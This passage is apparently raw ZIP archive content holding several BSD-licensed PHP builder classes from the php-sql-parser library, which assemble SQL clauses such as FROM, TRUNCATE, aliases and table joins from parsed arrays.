 * @version   SVN: $Id$
 *
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\exceptions\UnableToCreateSQLException;

/**
 * This class implements the builder for the [FROM] part. You can overwrite
 * all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *
 */
class FromBuilder implements Builder {

    protected function buildTable($parsed, $key) {
        $builder = new TableBuilder();
        return $builder->build($parsed, $key);
    }

    protected function buildTableExpression($parsed, $key) {
        $builder = new TableExpressionBuilder();
        return $builder->build($parsed, $key);
    }

    protected function buildSubQuery($parsed, $key) {
        $builder = new SubQueryBuilder();
        return $builder->build($parsed, $key);
    }

    public function build(array $parsed) {
        $sql = "";
        if (array_key_exists("UNION ALL", $parsed) || array_key_exists("UNION", $parsed)) {
            foreach ($parsed as $union_type => $outer_v) {
                $first = true;

                foreach ($outer_v as $item) {
                    if (!$first) {
                        $sql .= " $union_type ";
                    }
                    else {
                        $first = false;
                    }

                    $select_builder = new SelectStatementBuilder();

                    $len = strlen($sql);
                    $sql .= $select_builder->build($item);

                    if ($len === strlen($sql)) {
                        throw new UnableToCreateSQLException('FROM', $union_type, $outer_v, 'expr_type');
                    }
                }
            }
        }
        else {
            foreach ($parsed as $k => $v) {
                $len = strlen($sql);
                $sql .= $this->buildTable($v, $k);
                $sql .= $this->buildTableExpression($v, $k);
                $sql .= $this->buildSubquery($v, $k);

                if ($len == strlen($sql)) {
                    throw new UnableToCreateSQLException('FROM', $k, $v, 'expr_type');
                }
            }
        }
        return "FROM " . $sql;
    }
}
?>
PK     \t/?	  ?	  I  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/SignBuilder.phpnu [        <?php
/**
 * SignBuilder.php
 *
 * Builds unary operators.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for unary operators. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class SignBuilder implements Builder {

    public function build(array $parsed) {
        if ($parsed['expr_type'] !== ExpressionType::SIGN) {
            return "";
        }
        return $parsed['base_expr'];
    }
}
?>
PK     \.i	  i	  K  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/SchemaBuilder.phpnu [        <?php
/**
 * SchemaBuilder.php
 *
 * Builds the schema within the DROP statement.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for a schema within DROP statement. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class SchemaBuilder implements Builder {

    public function build(array $parsed) {
        if ($parsed['expr_type'] !== ExpressionType::SCHEMA) {
            return "";
        }
        return $parsed['base_expr'];
    }
}
?>
PK     \g!
  !
  M  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/ConstantBuilder.phpnu [        <?php
/**
 * ConstantBuilder.php
 *
 * Builds constant (String, Integer, etc.) parts.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for constants. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class ConstantBuilder implements Builder {

    protected function buildAlias($parsed) {
        $builder = new AliasBuilder();
        return $builder->build($parsed);
    }

    public function build(array $parsed) {
        if ($parsed['expr_type'] !== ExpressionType::CONSTANT) {
            return "";
        }
        $sql = $parsed['base_expr'];
        $sql .= $this->buildAlias($parsed);
        return $sql;
    }
}
?>
PK     \7	  	  J  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/AliasBuilder.phpnu [        <?php
/**
 * AliasBuilder.php
 *
 * Builds aliases.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;

/**
 * This class implements the builder for aliases. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class AliasBuilder implements Builder {

    public function hasAlias($parsed) {
        return isset($parsed['alias']);
    }

    public function build(array $parsed) {
        if (!isset($parsed['alias']) || $parsed['alias'] === false) {
            return "";
        }
        $sql = "";
        if ($parsed['alias']['as']) {
            $sql .= " AS";
        }
        $sql .= " " . $parsed['alias']['name'];
        return $sql;
    }
}
?>
PK     \m
  
  V  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/TruncateStatementBuilder.phpnu [        <?php
/**
 * TruncateStatementBuilder.php
 *
 * Builds the TRUNCATE statement
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;

/**
 * This class implements the builder for the whole Truncate statement. You can overwrite
 * all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class TruncateStatementBuilder implements Builder {

    protected function buildTRUNCATE($parsed) {
        $builder = new TruncateBuilder();
        return $builder->build($parsed);
    }

    protected function buildFROM($parsed) {
        $builder = new FromBuilder();
        return $builder->build($parsed);
    }
    
    public function build(array $parsed) {
        $sql = $this->buildTRUNCATE($parsed);
        // $sql .= " " . $this->buildTRUNCATE($parsed) // Uncomment when parser fills in expr_type=table
        
        return $sql;
    }

}
?>
PK     \9TTk	  k	  S  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/AliasReferenceBuilder.phpnu [        <?php
/**
 * AliasReferenceBuilder.php
 *
 * Builds Alias references.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for alias references. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class AliasReferenceBuilder implements Builder {

    public function build(array $parsed) {
        if ($parsed['expr_type'] !== ExpressionType::ALIAS) {
            return "";
        }
        $sql = $parsed['base_expr'];
        return $sql;
    }
}
?>
PK     \`'
  '
  M  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/TruncateBuilder.phpnu [        <?php
/**
 * TruncateBuilder.php
 *
 * Builds the TRUNCATE statement
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;

/**
 * This class implements the builder for the [TRUNCATE] part. You can overwrite
 * all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class TruncateBuilder implements Builder {

    public function build(array $parsed) {
        $sql = "TRUNCATE TABLE ";
        $right = -1;

        // works for one table only
        $parsed['tables'] = array($parsed['TABLE']['base_expr']);

        if ($parsed['tables'] !== false) {
            foreach ($parsed['tables'] as $k => $v) {
                $sql .= $v . ", ";
                $right = -2;
            }
        }

        return substr($sql, 0, $right);
    }
}
?>
PK     \1    J  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/TableBuilder.phpnu [        <?php
/**
 * TableBuilder.php
 *
 * Builds the table name/join options.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 *
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for the table name and join options.
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *
 */
class TableBuilder implements Builder {

    protected function buildAlias($parsed) {
        $builder = new AliasBuilder();
        return $builder->build($parsed);
    }

    protected function buildIndexHintList($parsed) {
        $builder = new IndexHintListBuilder();
        return $builder->build($parsed);
    }

    protected function buildJoin($parsed) {
        $builder = new JoinBuilder();
        return $builder->build($parsed);
    }

    protected function buildRefType($parsed) {
        $builder = new RefTypeBuilder();
        return $builder->build($parsed);
    }

    protected function buildRefClause($parsed) {
        $builder = new RefClauseBuilder();
        return $builder->build($parsed);
    }

    public function build(array $parsed, $index = 0) {
        if ($parsed['expr_type'] !== ExpressionType::TABLE) {
            return '';
        }

        $sql = $parsed['table'];
        $sql .= $this->buildAlias($parsed);
        $sql .= $this->buildIndexHintList($parsed);

        if ($index !== 0) {
            $sql = $this->buildJoin($parsed['join_type']) . $sql;
            $sql .= $this->buildRefType($parsed['ref_type']);
            $sql .= $parsed['ref_clause'] === false ? '' : $this->buildRefClause($parsed['ref_clause']);
        }
        return $sql;
    }
}
?>
PK     \Ì    J  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/QueryBuilder.phpnu [        <?php
/**
 * QueryBuilder.php
 *
 * Builds the SELECT statements within parentheses.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for queries within parentheses (no subqueries). 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class QueryBuilder implements Builder {

    protected function buildRefClause($parsed) {
        $builder = new RefClauseBuilder();
        return $builder->build($parsed);
    }

    protected function buildRefType($parsed) {
        $builder = new RefTypeBuilder();
        return $builder->build($parsed);
    }

    protected function buildJoin($parsed) {
        $builder = new JoinBuilder();
        return $builder->build($parsed);
    }

    protected function buildAlias($parsed) {
        $builder = new AliasBuilder();
        return $builder->build($parsed);
    }

    protected function buildSelectStatement($parsed) {
        $builder = new SelectStatementBuilder();
        return $builder->build($parsed);
    }

    public function build(array $parsed, $index = 0) {
        if ($parsed['expr_type'] !== ExpressionType::QUERY) {
            return '';
        }

        // TODO: should we add a numeric level (0) between sub_tree and SELECT?
        $sql = $this->buildSelectStatement($parsed['sub_tree']);
        $sql .= $this->buildAlias($parsed);

        if ($index !== 0) {
            $sql = $this->buildJoin($parsed['join_type']) . $sql;
            $sql .= $this->buildRefType($parsed['ref_type']);
            $sql .= $parsed['ref_clause'] === false ? '' : $this->buildRefClause($parsed['ref_clause']);
        }
        return $sql;
    }
}
?>
PK     \?    P  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/IndexColumnBuilder.phpnu [        <?php
/**
 * IndexColumnBuilder.php
 *
 * Builds the column entries of the column-list parts of CREATE TABLE.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for index column entries of the column-list 
 * parts of CREATE TABLE. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class IndexColumnBuilder implements Builder {

    protected function buildLength($parsed) {
        return ($parsed === false ? '' : ('(' . $parsed . ')'));
    }

    protected function buildDirection($parsed) {
        return ($parsed === false ? '' : (' ' . $parsed));
    }

    public function build(array $parsed) {
        if ($parsed['expr_type'] !== ExpressionType::INDEX_COLUMN) {
            return "";
        }
        $sql = $parsed['name'];
        $sql .= $this->buildLength($parsed['length']);
        $sql .= $this->buildDirection($parsed['dir']);
        return $sql;
    }

}
?>
PK     \Z    M  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/IndexKeyBuilder.phpnu [        <?php
/**
 * IndexKeyBuilder.php
 *
 * Builds index key part of a CREATE TABLE statement.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
